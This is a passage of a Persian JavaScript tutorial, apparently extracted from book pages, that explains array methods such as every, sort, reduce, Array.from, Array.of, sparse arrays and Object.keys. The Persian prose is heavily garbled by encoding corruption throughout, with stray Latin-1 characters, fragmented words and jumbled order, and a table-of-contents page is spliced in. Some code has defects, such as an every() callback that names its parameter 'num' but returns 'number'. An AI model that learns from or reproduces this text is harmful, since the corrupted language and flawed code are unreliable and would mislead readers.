ز آر
» ·º
ر
²
¼لی¿ ب
»
ر
³
د.
±
م·آ
µº
بد
false
¶ß
¾ی
Á ¼ ϳ²
ک
Ú
چ
»
ر
²
ا صف
± ·
ف
É
´ م
³
عد
³
·، ¼جو
º
ر
²
¼می¿ ب
³
ر
³
Á
·º
ر
²
، ب¶ طور´ ک¶ ب
槯
some
م¾د
Ï
شد
ϳ»³ ó
بس
µ
ا حال
α²Ý¸
¿ م¾د
±»
:
every
تد
³
ن
³²
¼´ ک
²
ی
Å
ر صورت
³ .²
ی
Ã
ا
±
د
ÉÉ
¼´ م·ک
²
ی
Å Ï
¶ شد
Ç»
ر
» ó±»²
ز ش
» ¶±»
آر
²
اص
É
ع
Ö
ا
ȸ ¶
د ک
É
م·ک
´ مثا
»²
. ب
³
م·شو
ϳ»³ µÐ
بازگ
false
ورت
àɱ» ²
ی
õ
ر
³ ¼
true
Ï
¶ شد
Ç»
ر
» ʲ
ز ش
» ²
اص
É
ع
Ö
ا
ȸ
var array = [
1
,
2
,
3
,
4
,
5
,
6
];
// all elements are greater than 4
var
greaterThanFour = array.every(function(
num)
{
return number >
4;
});
console
.log(greaterThanFour);
// output: false
ن
³
و
ÎÁ
ا
±
ن
³
بو
³
´ موجو
»²
ب
false
ا
±
true
ر
»
د
Ý
، م
ó±»²
ش
Ñ
ا
È
ع
» ´»²
ب
Ï
¶ شد
Ç»
ر
» Û
ی×، ¸اب
Á
¿ م¾د
±»
ر
³
¶Ç»
ر
» ʲ
ز ش
» ²±³
ا
Ý
م
Ö
ا
ȸ ¶
د ک
É
· م·ک
º
ر
²
· ب
Âû³
م¾د ب¶ صورت
³
و
à µ±
ا
ÔÁ
ر
³ ،
د
Á»³²
م·گ
²
ب
هد.
³·
م
µÐ
بازگ
boolean
é
ر قال
³ »
¶ ر
ß
¾ی
Á ¼ ²
ی
Ã
ا
±
د
Á³
بو
ϳ²
¼´ ک
²
ی
Å Ï
شد
87
Í×
پن
ØÉ³
================================================ FILE: HTML/9.html ================================================
بخش اول
[
ت و مباحث پایه
±
سکری
²
ا جاو
³ ´
آشنای
20
.....................................................................................
¶؟
˽
چ
Javascript
20
..........................................................................................
¶؟
̱²Í
´س
À
´ جا
²
چ
21
...................................................................................................
ام
º²
ب
( ¹
ک
21
..................................................................................
)
Statements
( Ê´
دس¸ور
22
...................................................................................
)Expressions
( Ê´
ار
Ç¿
22
.................................................................................................
Á
ام
º²
´¾ ب
²
´ج
23
...............................................................................................
Á
ام
º²
جی ب
À²É
24
.................................................................................................
Á
ام
º²
د¾ ب
À
ر
À
24
...............................................................................
)Editors
( ¹
ا¾ ک
ȲÎϱ´²±À
25
.....................................................................................
)
Operators
(
ا
ȲÎл¿
26
......................................................................................
)Comment
( ¶Ñ
کام
26
........................................................................................
¶گذ´ر¾
Ñ
کام
¹¿´
و
Ò
27
....................................................................................
طی
É Ó
¶گذ´ر¾ ت
Ñ
کام
27
....................................................................................
طی
É ¹Ñ
¶گذ´ر¾ چ
Ñ
کام
28
..........................................................................
)
Blocks
( ¹
ک
Ê
طعا
Ò
ا
±
ا
ÈÔ
و
Ð
ب
28
........................................................
ÃÀ Ê
ا
Õ
¶ در صف
̱²Í
´س
À
ا¾ جا
ȹ
¾ ک
²½
´رگ
²Ò
بخش دوم
[
µ
د
²
ع د
²¶·²
مقادیر و
32
....................................................................................................
د´ده
Ö´
و
º´
32
.....................................................................................
)Variables
(
ا
Ȳ½
م¸غ
34
................................................................................
²Î±¹Í± Á
د´ده ب
Ö´
و
º´ ×±¹Ç
ت
37
............................................................................................
)
Objects
(
´ش½اء
================================================ FILE: HTML/90.html ================================================
// all elements are less than 10
var
lessThanTen = array.every(function(
number){
return number <
10
});
console
.log(lessThanTen);
// output: true
Á
د
Á»
¼ م·¸و
³¼
¶ ب¶ کار م·ر
±»
آر
²
اص
É
ه· ب¶ ع
³ é
¸ی
²¸ ¼ ´
از
ºé¸²
´ م
»²
ب
sort
م¾د
:
sort
تد
³
ش¾¶ باشد. مثا
»³ ì¹
ع
²
ا ب
± ú
ب¶ ب×ر
Ú
از´ کوچ
ºé¸²
م
³²¹±¼
ر
var
alpha = [
‘e’
,
‘a’
,
‘c’
,
‘u’
,
‘y’
];
var ascOrder = alpha.sort();
console
.log(ascOrder);
// output: [‘a’, ‘c’, ‘e’, ‘u’, ‘y’]
از´، ب¶ صورت
ºé¸²
م
ʲ
ش
Ñ
ا
È
ع
»
ح¾· بد¼ن
sort
´، م¾د
»¶¾
رش
²
اص
É
ع
Æ
· شام
±
¶ها
±»
آر
³
ر مور
³
،Ù
ش¾¶ باشی
»³ ³»
عد
»
ز
» ´»¶±»
آر
²
گ
»
ما
» ،
هد
³·
م
Ö
ا
ßÁ» ´
از
ºé¸²
م
ÉŶ
ح
Ê
¶ ·سا
Ä
þ²ÓÄ
ی
Å
´ مثا
»²
، ب
Ù
هی
³ ¶Ç»
ر
» »
از´ ر
ºé¸²
م
ʲ
· ش
º
ر
²
´ ب
»²
ب
²æÁ ³
مور
Û
¸اب
µ
س
±
م·با
var
arr = [
1
,
2
,
3
,
4
,
5
,
6
];
// sort in descending order
var
descOrder = arr.sort(
function
(
a, b
){
return
(a > b) ?
-1
:
1
;
});
console
.log(descOrder);
// output: [6, 5, 4, 3, 2, 1]
ú
ر صورت ب×ر
³ ¼ ¶
س
±
ا
Ý
م
»
¶ ر
±»
ز آر
»
ر
»
د
Ý
¼ م
³ ،´
از
ºé¸²
م
ʲ
ش
Ï
د
ÉÉ
· ک
º
ر
²
ب
Û
¸اب
°
ر کد با
³
¶±»
×¼ل· آر
Á ´
از
ºé¸²
ب¶ م
²ßÉ
هد، ک¶ م
³·
م
µÐ
بازگ
1
ورت
àɱ» ²
ی
õ
ر
³ ¼ -1 ·
¼م
³
ز
» ·
¼ل
»
ن
³
بو
²¾¹
´ کوچ
³
عد
Ï
اهد
Ð
ر صورت م
³ ،´
از
ºé¸²
م
ʲ
ش
Ï
د
ÉÉ
· ک
º
ر
²
ب
Û
· ¸اب
Â
. ب¶ طور ک
³
م·شو
µÎ
ر صورت مث
³ ¼
هد
³·
م
Ñ
ا
ݾÁ» Ö¼³ ²¾
م
»
ار
Å
ز
» ²¸ÆÎ
ق
ì
دک
ɱ» Ú± ¶
ب
»
ر
Ѽ» ²¾
م
»
ار
Å ،²
ز صف
»
¿¾Ó²
گ
²æÁ
ر
³
. با
³
م·شو
ÆÝ¾É
م
Ö¼³ ²¾
م
»
ار
Å
ز
» ²¸°
با
ì
دک
ɱ» Ú± ¶
ب
Ѽ» ²¾
م
»
ار
Å ،¶ß
¾ی
Á
ن
³
بو
ø
و
Ó Ñ
´ مثا
»²
ب
Ï
وش¾¶ شد
Á ¶
س
±
ا
Ý
م
ʲ
ک¶ ش
µº» Ï
ید
º
ر
Ù
ا ه
È
ش
²¹Ó ¶
ب
°
ا
Ⱦ
ح
» ،ç
¿ موضو
±»
²
گ
»
م¾فا¼ت
ƹ
´ ب¶ ش
³
و
Õ
از´ ص
ºé¸²
´ م
»²
ب
²Ì±³ ·
ر مثال
³ )
¶؟
Á
و
Ì
چ
(.Ù
سی
±
و
É
ب
²¸Ï³
ا
º »
ر
وش¾ی
Á·
م
»
ر
²±
کد ز
Ù
ی
É
ک
鸲
´ م
³
و
Õ
ص
ƹ
ب¶ ش
»
¶ ر
±»
¿ آر
±» Ù
¾ی
º»
و
÷
م
88
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/91.html ================================================
var
array = [
2
,
1
,
6
,
3
,
5
,
6
];
var
descOrder = array.sort(
function
(
a, b
){
return
a - b;
});
console
.log(descOrder);
// output: [1, 2, 3, 5, 6, 6]
ا
± ¼ ¶±»
آر
²
اص
É
ع
³
¿ عد
±²¾¹
¾¿ کوچ
Ó
ا
±
د
ÉÁ
´ ما
²Ì±³ ´
ها
³²
´ کارب
»²
د ب
Á»
م·¸و
sort
¾¶ م¾د
Î
ل
»
ن
»
و
É
ب¶ ع
»
¶ ر
±»
آر
²Ã
¼ آ
Ѽ» ²àÉ
از´، ع
ºé¸²
ز م
» ìÅ
ور
æÉ
¿ م
±» ´»²
، ب
³¼
ی× ب¶ کار ر
Á
¿ آنها
±²¾
ب×رگ
.Ù±²
م·گی
²æÁ
ر
³ ¿±²¾
¿ ¼ ب×رگ
±²¾¹
کوچ
ور
æÉ
¿ م
±» ´»²
، ب
³²
ک
ϳ
¾فا
º» ×
ی
Á ²
اص
É
ع
)·Õä
ق
²
ی
õ(·Ó³
ا
ภÄ
خ
Å ´»²
ب
Ù
ی
Á»
¿ م¾د م·¸و
±»
ز
»
Ù
ی
É
´ ¸ولید م·ک
³
عد
Math.random
از´ ¼
ºé¸²
م
ʲ
ش
Ñ
ا
È
ع
» Û
ز ¸اب
» ϳ
¾فا
º»
گ· با
³
ا
º ¶
ب
Ö
ا
ßÁ» »
· ر
Ó³
ا
ภ´
از
ºé¸²
د م
ɱ
آ
²Ó ¿±» Ö
ا
ßÁ»
¼ با
³
هد بو
»
و
à ·
ف
É
ا م
± 0
ا
± µÎ
مث
Ù
ی
Á»³·ÈÁ ¶
ک
. مثا
Ù
هی
³·
م
var
array = [
1
,
2
,
3
,
4
,
5
,
6
];
array.sort(
function
(
a, b
){
return
0.5
-
Math
.random()
});
·Ó³
ا
ภ³»
عد
» ¶
س
±
ا
Ý
ک¶، چون ¸ولید ¼ م
µº» ¿±» Ù±»Ï
د
Á»
و
à ·Õä
ق
²
ی
õ »
ر
Ñ
¿ مثا
±» ¶¹É±» Æ
لی
³
د
±
با
°
صو
» µº» 3
>
2 ،µº» 2
>
1 Ñ
´ مثا
»²
ب
( .³
هد بو
»
خو
Á ·Ó³
ا
ภÍ
از´ کام
ºé¸²
م
é
¸ی
²¸ ،µº»
ı»²
گ
²¾Ð
¾د ¼ بی
Ó»·ÈÁ ø
¸فا
» ¿±» ·Ó³
ا
ภ³
ی× باشد ¼ل· با ¸ولید عد
Á 1
ز
» ²¾
ب×رگ
Ö
و
º ²àÉ
ع
هد بو
»
و
à µ
خس
Á ´
ها
ì
دک
ɱ» µÈº ¶
· ب
Ó³
ا
ภ³»
عد
»
¸ولید شدن
Á
¿ م¾دها´
±²¸×
ی
ÌÁ» µ
ف
Ì
ز ش
» ·¹± ¶
ک
reduce
،Ä
¿ بخ
±»
¿ م¾د
±²Ã
ن آ
»
و
É
ب¶ ع
:reduce
تد
³
ها´ بسیار´
³²
´ کارب
»²
د ب
Á»
¿ م¾د م·¸و
±» .Ù
هی
³·
ر م
»²
· ق
º
ر
²
ب
³
مور
»
ر
µº» ¶±»
ر آر
³ ϳ
¾فا
º» ³
مور
ر
»
د
Ý
م
Ú± Ï»²È
ب¶ ه
callback
´³¼
ن ¼ر
»
و
É
ب¶ ع
Û
¸اب
Ú± ×
ی
Á
¿ م¾د
±»
ر
³ ،³²
ر گی
»²
ق
ϳ
¾فا
º» ³
مور
¶ م·شو
Ç»
ر
»
یات
ÂÈ
ع
Ö
ا
ßÁ» ´»²
¿ ب
±
از
õ
آ
²¾
م
»
ار
Å ¶Ç»
ر
»
ما
» ،³
¶ شو
Ç»
ر
»
ب¶ م¾د
µ
س
±
ار´ م·باشد ¼ م·با
Î
ج
»
callback
Û
· ¸اب
ÉÕ± Ѽ» ²¾
م
»
ار
Å
م·باشد:
²±
¿ م¾د ب¶ صورت ز
±» ·Â
¾ار ک
Ã
ا
º .
¾یار´ م·باشد
û
¿ ب¶ م¾د
±
از
õ
ر آ
»
د
Ý
· م
ÉÕ± Ö¼³
89
Í×
پن
ØÉ³
================================================ FILE: HTML/92.html ================================================
array.reduce(
function
(
total, currentValue, currentIndex, array
),
initialValue
)
³
اصد مور
Ý
ز م
» ·±°
با
ê
طی
Ö
ا
ßÁ» ´»²
ب
»
ر
reduce
م¾د
Ù
ی
Á»
ک¶ ب¾و
µº» Ï
شد
î
ژگ·ها باع
±¼ ¿±»
²
ب
»
اص· ر
à ¶
¼ظیف
Ö»
کد
²
´ م·باشد ک¶ ه
³¼
¿ ¼ر
±
د
É
´ چ
»
ر
»³
callback
Û
، ¸اب
Ù
هی
³
ر
»²
ق
ϳ
¾فا
º»
د.
Á
ر
»³ Ï
د
Ô
ع
ر´
»
د
ÔÌÁ ¶
، ¼ظیف
³
· م·شو
Ó²Õ
م
accumulator
Ö
ا
Á
بسیار´ با
Û
اب
É
ر م
³ ¶
ک
total
Ö
ا
Á
با
Ѽ» ´³¼
¼ر
،
currentIndex
¼
currentValue
Ö
ا
Á
با
Ö¼³ ´³¼
، ¼ر
³
ر
»³ Ï
د
Ô
ع
²
ب
»
ر
²àÉ
¿ ع
±» ¶
¼ج· ¸ا ب
²Ã
یات
Â
ک
ب¶
»
· ر
Â
ص
» ¶±»
، آر
array
د ¼
Á
ر
»³ ³
و
Ã
ر
³ »
ر ر
»²¹¸ Ñ
ر حا
³ ·ÂÕÓ ²àÉ
ع
ì±
د
Á» ¼
ر
»
د
Ý
م
é
¸ی
²¸ ¶
ب
:¶±»
ا´ آر
ñ
ع
»
ن
³²
½ ک
²
´ ض
»²
¿ م¾د ب
±»
ز
» ϳ
¾فا
º» ¶Á
و
ÈÁ .
د
É
ر´ م·ک
»
د
ÔÌÁ Æ
صورت کام
var
numbers = [
2
,
3
,
4
,
5
];
var
product = numbers.reduce(
function
(
acc, x
){
return
acc * x;
},
1
);
console
.log(product);
// 120
¼ج· م¾د
²Ã ،Ù
ی
É
½ م·ک
²
ض
1 ¶
¼لی
»
ر
»
د
Ý
¼ با م
Ï
ر شد
»²¹¸ ¶±»
آر
²
اص
É
ع
Ú¸ Ú¸ ´¼
ر
²
ب
°
با
Ñ
ر مثا
³
ن
»
ی× م·¸و
Á ¶±»
آر
²
اص
É
ع
²±³
ا
Ý
بس¾¿ م
ÛÈ
´ ج
»²
ا ب
± .³
هد بو
»
و
à ¶±»
ا´ آر
ñ
ع
» Ö
ا
ȸ ½²
ض
Æ
حاص
،³
شو
µ±
رعا
µ
س
±
´ ک¶ م·با
»¶¾¹Á óÝÓ ،³»³
ر
»²
ق
ϳ
¾فا
º» ³
مور
ÛÈ
ب¶ صورت ج
»
ر
Ñ
ی¿ مثا
È
ه
.³²
ر گی
»²
ق
²
ر¼´ صف
²
د ب
±
با
ÛÈ
´ ج
»²
¿ ب
±
از
õ
ر آ
»
د
Ý
م
initialValue
²
گ
» ¶
ک
µº» ¿±» µ
ش
»³ ²æÁ
د مد
±
با
reduce
م¾د
³
ر مور
³ ¶
· ک
ÈÔ
ا م
α²Ý¸ ´¶¾¹Á
.³²
ر م·گی
»²
ق
ϳ
¾فا
º» ³
مور
initialValue
ن
»
و
É
¶ ب¶ ع
±»
آر
²àÉ
¼لی¿ ع
» ،³
و
ÐÁ ϳ»³ í
ا
Å
¿ م¾د
±» ¶
ب
[
)array-like
(
یه¸ا
²¼
شبه آ
د،
ÉÉ
¾ار م·ک
Ó
¶ها ر
±»
ی¶ آر
Î
د ¼ل· ش
ɾ
یس
Á ¶±»
ک¶ آر
³¼²
· ب¶ کار می
±
ها
object
´»²
ن ب
»
و
É
¿ ع
±»
ز
» Ö»
کد
å
د، هی
Á
ر
»³ ´³
ها´ عد
ì±
د
Á»
´ با
²
اص
É
¼ ع
ϳ
بو
length
ژگ·
±¼ ´»
ر
»³ ¶
ها ک
object
¿±»
¶ÝÂ
د ¼ ح¾· ح
Á
ر
»
د
Á ،Ù±³»³ ï²
ش
»
ز آنها ر
» ·¾È
قس
°
ر با
³ ¶
ک
»
¶ها ر
±»
ر¼´ آر
²
ب
³
م¾دها´ موجو
د.
É
·ک
ÈÁ
ر¼´ آنها کار
²
ب
for...in
90
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/93.html ================================================
ر
³
arguments
ر
»
د
Ý
ید، م
É
ز آن م·ک
» ´
بسیار
ϳ
¾فا
º» ¼
م·باشد
array-like
´ ک¶
³
ر
»
ز مو
» ·¹±
¿±»
ز
» ×
ی
Á ´²Ì±³ ³
ر
»
ش¾ید. مو
»
د
Á çÍ
ط
»
ن آن
³
بو
array-like
ز
» °
ا
Ⱦ
ح
» ¶
، ک
µº» Û
¸اب
²
ه
ÆÃ»³
د.
ɾ
¶ها هس
Á
و
ÈÁ ¿±»
ز
» ×
ی
Á
ها
querySelector
¾خاب· با
Á»
DOM
Ñ
´ مثا
»²
د، ب
Á
ر
»³ ³
ها ¼جو
ç
و
Á
function
testArguments
(){
// error: not an array
var
joined =
arguments
.join(
“, “
);
console
.log(
typeof
arguments
);
// “object”
}
document
.querySelector(
“.row”
).join(
“,”
);
// error: not an array
typeof
document
.querySelector(
“.row”
);
// returns “object”
ý
ا ر
äÃ
array-like
Ú± ´¼
ر
²
¶ها ب
±»
ز آر
» ·Õ
ن ¸اب
³
ز
»
د ک¶ با صد
É
ه
³·
ان م
ÐÁ ø
و
Ó Ñ
¼ مثا
³
م·باشد.
object
ی×
Á
آنها
ç
و
Á ¼
هد
³·
م
[
یه
²¼
ساخت آ
Á
ها´
Ä
ر بخ
³(ı
ا
È
ی
Å Æ
ها´ قاب
ϳ»³ ¶
وع
Èß
ا م
±
¶ها
±»
¶ آر
Î
ش
Ʊ
د
θ ´»²
ب
:
Array.from
Ù
ی
Á»
¸ا ب¾و
³
و
ÈÁ ϳ
¾فا
º»
¿ م¾د
±»
ز
»
ن
»
· م·¸و
Õ
ق
»¼ ¶±»
ب¶ آر
)Ù±
ا م·شو
É
آش
²¾Ð
بی
ç
و
Á ¿±»
د´ با
Õ
ب
:²±
ز
Ñ
مثا
³
ر مور
³ .Ù
ی
É
ک
ϳ
¾فا
º»
ا
äÃ
ر¼´ آنها بد¼ن
²
ب
»
¶ها ر
±»
ر¼´ آر
²
ب
³
موجو
Û
ب
»
¸و
function
testArguments
(){
var
joined =
Array
.from(
arguments
).join(
“, “
);
console
.log(joined);
}
testArguments(
1
,
2
,
3
);
// 1, 2, 3
و
ÈÁ
ی× بیان
Á
ها
DOM
²¸Ï³
ا
º µ±²±
´ مد
»²
ن ب
»
م·¸و
»
ر
Ñ
ی¿ مثا
È
ه
91
Í×
پن
ØÉ³
================================================ FILE: HTML/94.html ================================================
Á
³
مور
³
شو
ϳ»³ í
ا
Å
´ ک¶ ب¶ آن
»Ï³»³ ç
و
Á ²
ز ه
» ¶±»
آر
µÃ
ا
º ´»²
ی× ب
Á
¿ م¾د
±»
:
Array.of
´ مثا
»²
. ب
³²
ر م·گی
»²
ق
ϳ
¾فا
º»
var
nums =
Array
.of(
1
,
2
,
3
,
4
,
5
,
6
);
console
.log(nums);
// output: [1, 2, 3, 4, 5, 6]
Á
Ù
ی
É
ک
³
ا
ß±» À
خ
Ð
م
Ñ
ا با طو
Ý
قی
³ ´»¶±»
آر
Ù
هی
»
و
÷
ا م
ñÕ
ب
:
Array
Æ
د
Â
تد ساز
³
·ز
Æ´
·ستفا
ا
± ¶±»
· آر
Â
ص
»
object
ز
» Ù
ی
Á»
¿ کار م·¸و
±» Ö
ا
ßÁ» ´»²
. ب
Ù
سی
±
و
É
ر آن ب
³ »
ر
³
و
à ²æÁ ³
مور
²±³
ا
Ý
¼ م
،Ù
ی
É
ک
³
ا
ß±» À
خ
Ð
م
Ñ
¶ ب¶ طو
±»
ب¶ آن، آر
³
عد
Ú±
ن
³»³ í
ا
Å
¼ با
Ù
ی
É
ک
ϳ
¾فا
º»
Array
ان
È
ه
´ مثا
»²
ب
const
arraySizeFive =
Array
(
5
);
وش
Á
مدرن
²
ی
õ ·Â¹
¼ ب¶ ش
for
¶ها´
ÝÂ
ز ح
» ϳ
¾فا
º»
با
»
ر
ø
و
Ó
یات
ÂÈ
اب¶ ع
Ð
ن م
»
¾¶ م·¸و
Î
ل
»
const
arraySizeFive = [];
for
(
var
i =
0
; i <
5
; i++) {
arraySizeFive[i] = i;
}
،Ù±
´ م·شو
»¶¾¹Á ¶
، م¾وج
Ù
ی
É
ک
µ
¸س
»
ر
ø
و
Ó ·
س
±
و
Á
کد
Úκ ¼³ ¼ Ù±
شو
ë
قی
³
ر
»
د
Ý
م
Ú± ²
گ
»
ما
»
د.
ɾ
یس
Á ²
ب
»²
ا ب
É
د ¼ل· عی
ɾ
هس
Ù
ی¶ ب¶ ه
Î
، ش
ø
و
Ó
¼ کد
³ ·
¼ج
²Ã ¶¹É±»
[
Array
ا
³
یه
²¼
ساخت آ
»°
ک
Â
م
ید:
É
¶ ¸وج¶ ک
±»
آر
µÃ
ا
º
م¾فا¼ت
á¼
¶ ر
º Ë
و
àÃ
ر
³ ²±
ز
Ñ
ب¶ مثا
const
array1 =
Array
(
7
);
const
array2 = [
7
];
const
array3 =
Array
.of(
7
);
console
.log(array1);
// [ <7 empty items> undefined ]
console
.log(array2);
// [ 7 ]
console
.log(array3);
// [ 7 ]
92
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/95.html ================================================
²àÉ
ع
7 ¿¾
ش
»³ ´
ا
ß
ک¶ ب
Ù
ی
É
م·ک
Ï
اهد
Ð
¼ م
µº» Ï
¶ ¸ولید شد
±»
آر
Ï
د
Á
از
º
ز
» ϳ
¾فا
º»
با
Ѽ» ¶±»
آر
²¾Ô
ب
µ±²±
´ مد
»²
ب
µ
پ
±²¹º»¼
ز جا
» ¶Á»
د
ÉÈ
´ هوش
³²¹±¼
م·باشد ک¶ ر
7 ×±
ا
º ´»
ر
»³
ا
Ôɸ ،·Õ
ق
»¼
سی
±
و
É
ا ب
äà ´»
ر
»³ ´
کدها
ç
¿ موضو
±»
ز
» ·
بد¼ن آگاه
µº» ¿¹È
ما م
» ،µº» ¶æÓ
حا
{
//no index keys!
length:
7
}
å
´ هی
»
ر
»³ ¶
ک
³
¶ ¸ولید م·شو
±»
آر
object
Ú± ،
Array
Ï
د
Á
از
º
ز
» ¶±»
آر
µÃ
ا
º
با
µÝ
ی
Ý
ر ح
³
، ب¶
µº» Ï
شد
ϳ»³
ر
»²
ق
Ù±
ر
»³ ²æÁ
×´ ک¶ مد
±
ا
º
ان
È
ه
²
ب
»²
آن ب
length
ژگ·
±¼
ما
» ،µ
یس
Á ·
س
±
د
Á»
هد بو
»
و
à undefined Ù
ی
Á»
ز آن بخو
» ´²àÉ
ک¶ ع
Ù
ی
É
ک
á͸ ²
گ
» ²Ì±³
ارت
Î
ع
const
array1 =
Array
(
7
);
array1[
2
];
// undefined
³
موجو
Û
ب
»
ز ¸و
»
ر¼´ آن
²
ب
Ù
ی
Á»
، م·¸و
µº» ¶±»
آر
³
و
à ¼ µ
یس
Á ¶±»
¶ آر
Î
، ش
Ï
¾¶ شد
Ã
ا
º ¶±»
چون آر
ر¼´
²
ب
map
م¾د
Ú± Ö
ا
ßÁ»
، با
Ù±» ¶¾Ó
ا
± »
ر
Ï
چار
Ï»
ر
ìÅ ،½
و
à ·Â
ی
à ،Ù
ی
É
ک
ϳ
¾فا
º»
¶ها
±»
ر¼´ آر
²
ب
ش¾¶ باشی
»
د
Á
ا
äà ²Ì±³
¸ا
Ù
ی
É
م·ک
²Å 0
با
»
ها´ آن ر
ì±
د
Á» Ö
ا
ȸ ،³
و
à ¶±»
آر
const
arr =
Array
(
100
).map(function(
_, i
){
return i;
});
// check if index 0 is 0 ?
console
.log(arr[
0
] ===
undefined
);
// true
با _
Ù
ش¾ی
»
د
Á ´
یاز
Á
ر
»²¹¸ ³
مور
²àÉ
¶، چون ب¶ ع
±»
ر¼´ آر
²
ب
map
´ م¾د
»²
ج
»
با
°
¶ کد با
¹¸
ر
³
éßÕ¸
¶ آن
ß
¾ی
Á
دن
±³
با
°
ا
Ⱦ
ح
» ¶
م·باشد ک
console
¶ß
¾ی
Á
ر
³ °
¾¶ کدبا
¹Á .Ù±»Ï³²
ر´ ک
»
گذ
Ùº»
²
ب
»²
ب
undefined
ان با
ÉãÈ
ما ه
» ،³
شو
²Å 0
با
Ù
ش¾ی
»³
ار
æ¾Á» ¶¹É±»
¶، با
±»
ز آر
» 0 ì±
د
Á» .
ید
É
ک
ب¶ آن
Ä
¿ بخ
±»
ر
³ ¶
ک
µº» µ
پ
±²¹º»¼
ر جا
³ ´³
یا
É
ب
ÆÇ
´ مسا
²º Ú± ²
م
» ¿±» Æ
لی
³ …µº»
.Ù±
ز
»³²Å·
م
³»
عد
»
ز
» ،²
اص
É
¾یاب· ب¶ ع
º³
ید
Â
´ ک
»²
د ک¶ ب
ɾ
هس
object
،µ
پ
±²¹º»¼
¶ها´ جا
±»
آر
µÝ
ی
Ý
ر ح
³
:)
ا
α²Ý¸(
د
Á²
ب
»²
د ب
Õ
¶ کد ب
Õä
¼ ق
³ Ñ
´ مثا
»²
د، ب
ÉÉ
م·ک
ϳ
¾فا
º»
93
Í×
پن
ØÉ³
================================================ FILE: HTML/96.html ================================================
[
“ali”
,
“mohammad”
,
“reza”
];
{
0
:
“ali”
,
1
:
“mohammad”
,
2
:
“reza”
length:
3
}
اب¶
Ð
´ م
³²¹±¼
هد، ر
³·
م
ý
ر
Array
·Âû³ Ï
د
Á
از
º
ز
» ϳ
¾فا
º»
¶ با
±»
آر
µÃ
ا
º Ö
ا
ÌÉ
¸فاق· ک¶ ه
»
, reduce , map
د
ÉÁ
ما
°
¶ با
θ²
ز م¾دها´ م
» ·¾
¼ق
Æ
لی
³ ¿
ی
È
¶ها م·باشد، ب¶ ه
±»
¶ آر
Î
ش
µÃ
ا
º
د ¼
Á
ر م·شو
»²¹¸ ³
ها´ موجو
ì±
د
Á» ´¼
ر
²
ب
Û
ب
»
¿ ¸و
±»
، چون
Ù
ی
É
م·ک
ϳ
¾فا
º» filter
ا
± ¼
forEach
·شو
ÈÁ »²
ج
» ×
ی
Á
ما
callback
Û
، ¸اب
³
ر
»
د
Á ³
س· ¼جو
±
د
Á»
ر
³ ¼ ³
ر
»³ Ö
ا
Á
spread operator
ک¶
槯 ES6
ر
³ Ï
¶ شد
Ç»
ر
»
های
²ÌÂÈ
ز ع
» ·¹±
ز
» ϳ
¾فا
º» Æ
ح
Ï»
ر
²
ز م¾÷ی
» ÆÎ
ق
)¶äÝÁ ¶º( …
ن
³»³
ر
»²
ژگ· با ق
±¼ ¿±» .Ù±
ا م·شو
É
با آن آش
²¾Ð
د´ بی
Õ
ها´ ب
Ä
بخ
´ مثا
»²
. ب
³
م·شو
²æÁ ³
مور
Ä
ر بخ
³ ²
آن م¾÷ی
²
اص
É
ع
Ö
ا
ȸ ´²
رگی
»²
ق
î
باع
iterate
Æ
قاب
const
arraySpread = [...Array(
10
)];
console
.log(arraySpread);
/*
{
0: undefined,
1: undefined,
2: undefined,
...
9: undefined,
length: 10
}
*/
spread
، چون ب¶ صورت
³
د بو
É
ه
»
و
à ·Õ
ق
»¼ ƹ
ب¶ ش
Ï
¾¶ شد
Ã
ا
º ¶±»
آر
²
اص
É
، ع
ø
و
Ó
´ کد
»²
ج
»
با
»
¶ ر
±»
آر
°
¶ با
θ²
م
Û
ب
»
ز ¸و
» ϳ
¾فا
º»
گ· با
³
ا
º ¶
ن ب
»
ن م·¸و
°» ،
د
Á
خ¾¶ م·شو
±
ر
²Ì±³ ´»¶±»
ر آر
³
.³²
ه· ک
³
ر
»
د
Ý
¼ م
ı
ا
È
ی
Å
94
²º
ه
±
ه آ¾ا
Á
رف
ÅÆ
حث پ
²
مب
================================================ FILE: HTML/97.html ================================================
[
¸ا
object
Æ
رد
³¼
ا
È À³²¶Á
³
و
ÎÔ
د ب¶ ب
ÉÁ»
ها ک¶ م·¸و
object
ز
» ³²
کارب
²Å ¼ ÙÔ
م
Û
ب
»
´ ¸و
²º Ú± Ù
هی
»
و
÷
م
Ä
¿ بخ
±»
ر
³
هی
³ ¶Ç»
ر
» ،
د
ÉÉ
ک
ÚÈ
ک
²¸Û±²º ¼ ²¾Ô
س· ب
±
و
Á
کد
Á
با
»
ر
)
properties
¶ شد
Ç»
ر
»
object
ژگ·ها´
±¼ ´
ها
Ö
ا
Á
ز
» ´»¶±»
¿ م¾د، آر
±»
:
Object.keys
ï²ä
م
object
شدن
²Å é
¸ی
²¸ ¶ÝÂ
¿ ح
±»
ر
³ .
د
Á»³²
باز م·گ
for...in
¶ÝÂ
ر ح
³ ³
موجو
é
¸ی
²¸
ان
È
ه
Ö
ا
ȸ
ز
»
ن
»
، م·¸و
µº» ¶±»
¿ م¾د آر
±» ·
¼ج
²Ã
. چون
1
µº» ÙÔ
م
iterate
Ï
و
ÞÁ ¶¹Â
·باشد ب
ÈÁ
´ مثا
»²
. ب
³²
ک
ϳ
¾فا
º»
ر¼´ آن
²
¶ها ب
±»
ژگ·ها ¼ م¾دها´ آر
±¼
const
user = {
name:
“ali”
,
age:
32
,
married:
false
,
favoriteColors: [
“green”
,
“blue”
]
};
console
.log(
Object
.keys(user));
/*
[
“name”,
“age”,
“married” ,
“favoriteColors”
]
*/
Á
¿ ¸فا¼ت
±»
م·باشد، با
Object.keys
اب¶ م¾د
Ð
ا م
α²Ý¸ ،
¿ م¾د
±» ³²
کارک
:
Object.values
د.
Á»³²
باز م·گ
»
ر
²æÁ ³
مور
object
ر¼´
²
ب
³
ژگ·ها´ موجو
±¼ )
values
(²±³
ا
Ý
ز م
» ´»¶±»
¿ م¾د آر
±» ¶
ک
ید.
É
¸وج¶ ک
Ë
و
àà ¿±»
ر
³
د
Õ
ب
Ñ
ب¶ مثا
هد شد.
»
و
à ¶Ç»
ر
» ·Âà
مف
ð
ها´ آ¸· ¸وضی
Ä
ر بخ
³
شدن آن
Ö
ا
ßÁ» Ï
و
ÞÁ ¼
iterate
îÞÎ
م
Ï
ربار
³
1
95
Í×
پن
ØÉ³
================================================ FILE: HTML/98.html ================================================
const
user = {
name:
“ali”
,
age:
32
